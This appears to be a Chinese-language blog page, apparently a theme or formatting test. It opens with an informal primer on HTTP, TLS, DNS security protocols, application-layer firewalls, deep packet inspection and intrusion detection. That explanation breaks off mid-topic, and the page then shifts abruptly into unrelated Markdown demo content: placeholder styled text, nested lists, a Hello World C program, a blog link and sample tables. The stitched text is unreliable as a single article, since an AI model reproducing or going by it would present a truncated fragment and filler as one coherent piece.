如果让俺评选最重要的业务层协议,俺首推 HTTP 协议。互联网的普及推动了 Web 的普及,而 Web 的普及使得 HTTP 成为信息时代的重要支柱。当你上网的时候,你看到的网页(HTML 页面)就是通过 HTTP 协议传输到你的浏览器上。
如今 HTTP 已经不仅仅用来展示网页,还有很多业务层的协议是建立在 HTTP 协议之上。比如说:如果你用 RSS 订阅俺的博客,RSS 阅读器需要调用 blogspot 博客平台提供的 RSS 接口,这些 RSS 接口就是基于 HTTP 协议传输滴。
考虑到本文的篇幅,俺不可能在这里细聊 HTTP 协议的规格,有兴趣的同学可以去看《HTTP 权威指南》这本书。
SSL/TLS 协议
最早的 HTTP 协议是【明文】滴;为了强化安全性,后来又设计了 SSL 协议,用来【加密】HTTP 流量;再后来,SSL 升级为 TLS(这俩是同义词)。如今经常看到的 HTTPS 相当于“HTTP over TLS”。
SSL/TLS 设计得比较优雅(很灵活),使得其它业务层的协议可以很方便地架构在 SSL/TLS 之上。这样的好处是:其它协议就不用自己再设计一套加密机制&认证机制。
SSL/TLS 对于安全性很重要,因此俺专门写了一个系列教程(如下),详细介绍该协议的技术细节。
《扫盲 HTTPS 和 SSL/TLS 协议》(系列)
域名相关的协议(DNS 及其它)
域名相关的协议,也很重要。因为域名系统是整个互联网的基础设施。最早的域名查询协议是“DNS 协议”,由于这个协议【没有】加密,导致了一些安全隐患。因此,后来又设计了一系列新的域名协议,引入了加密的机制。
关于这些协议的扫盲教程,可以参考如下博文:
《对比4种强化域名安全的协议——DNSSEC,DNSCrypt,DNS over TLS,DNS over HTTPS》
应用层防火墙(application firewall)
前面提到了:大多数网络防火墙处于4层(状态防火墙),另外还有少数处于7层,也就是“应用层防火墙”(有时候也称之为“7层防火墙”)。
一般来说,这类防火墙具备了【深度包检测】(deep packet inspection,简称 DPI)的能力,可以分析应用层协议的【内容】。
简单说一下“深度包检测”:
如果某个网络设备,仅仅分析“应用层协议”本身,它还【不够格】称之为 DPI。为了做到 DPI,还要能理解应用层协议所承载的【内容】。
比如说:某人通过【明文】的 HTTP 协议从网上下载了一个 zip 压缩包。对于这个下载行为,那些做得好的 DPI 设备不光能识别出“HTTP 协议的内容是 ZIP 压缩包”,而且还能从 ZIP 压缩包中提取出里面的文件。
入侵检测(intrusion detection system)
一般来说,“入侵检测”如果不加定语,通常指“【网络】入侵检测”(洋文叫 NIDS);另外还有一种“【主机】入侵检测”(洋文叫 HIDS)。HIDS 与本文无关。
“入侵检测”是一种网络安全设备,它通过嗅探(sniffer)的方式抓取网上的数据包,然后进行分析,尝试发现网络中是否存在黑客/骇客的入侵的行为。故名“入侵检测”。
由于 IDS 需要理解【应用层】(7层)的内容,因此它与“应用层防火墙”有个共同点,需要具备某种程度的 DPI(深度包检测)能力。它俩的一大差异是【部署方式】。
考虑到很多读者是 IT 外行,简单说一下“旁路部署”——
如果你学过中学物理,应该知道电路有“串联 & 并联”。所谓的“旁路部署”类似于电路中的【并联】。通俗地说:IDS 是【并联】部署,防火墙是【串联】部署.
斜体文本
粗体文本
粗斜体文本
下面是分割线:
这是一条带有删除线的文本.
这是一条带有下划线的文本.
文本1
文本2
文本3
最外层
第一层嵌套
第二层嵌套
第三层嵌套
区块中使用列表
- 第一项
- 第二项
- 第三项
- 第一项
- 第二项
- 第三项
文本1
文本2
文本3
格式化输出函数printf()
的主要功能是向标准输出设备按规定格式输出信息。
#include <stdio.h>
int main()
{
printf("Hello, World! \n");
return 0;
}
这是一个链接: https://blog.gd1214b.icu/
这是一个超链接: gd1214b's blog
下面是本网站的图标:
缩放图片:
表头 | 表头 |
---|---|
单元格 | 单元格 |
单元格 | 单元格 |
左对齐 | 右对齐 | 居中对齐 |
---|---|---|
单元格 | 单元格 | 单元格 |
单元格 | 单元格 | 单元格 |
]]>